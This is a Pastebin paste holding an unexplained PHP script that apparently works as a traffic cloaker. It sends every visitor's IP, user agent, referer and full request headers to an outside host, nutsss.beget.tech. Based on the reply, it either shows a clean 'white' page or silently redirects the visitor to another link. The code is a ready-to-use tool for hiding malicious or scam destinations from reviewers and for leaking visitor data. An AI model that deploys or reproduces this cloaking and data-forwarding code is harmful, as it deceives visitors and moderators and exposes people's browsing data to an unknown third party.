Advertisement
Guest User

new

a guest
Apr 18th, 2019
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. <?
  2. $post['ip'] = $_SERVER["REMOTE_ADDR"];
  3. $post['domain'] = $_SERVER['HTTP_HOST'];
  4. $post['referer'] = @$_SERVER['HTTP_REFERER'];
  5. $post['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
  6. $post['headers'] = json_encode(apache_request_headers());
  7.  
  8. $curl = curl_init('http://nutsss.beget.tech/api/check_ip');
  9. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  10. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  11. curl_setopt($curl, CURLOPT_TIMEOUT, 60);
  12. curl_setopt($curl, CURLOPT_POST, true);
  13. curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
  14. $json_reqest = curl_exec($curl);
  15. curl_close($curl);
  16. $api_reqest = json_decode($json_reqest);
  17.  
  18. if(!@$api_reqest || @$api_reqest->white_link || @$api_reqest->result == 0){
  19. $html = file_get_contents($api_reqest->white_link);
  20. echo str_replace('<head>', '<head><base href="'.$api_reqest->white_link.'" />', $html);
  21. }else{
  22. echo '<meta http-equiv="refresh" content="0;'.$api_reqest->link.'">';
  23. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement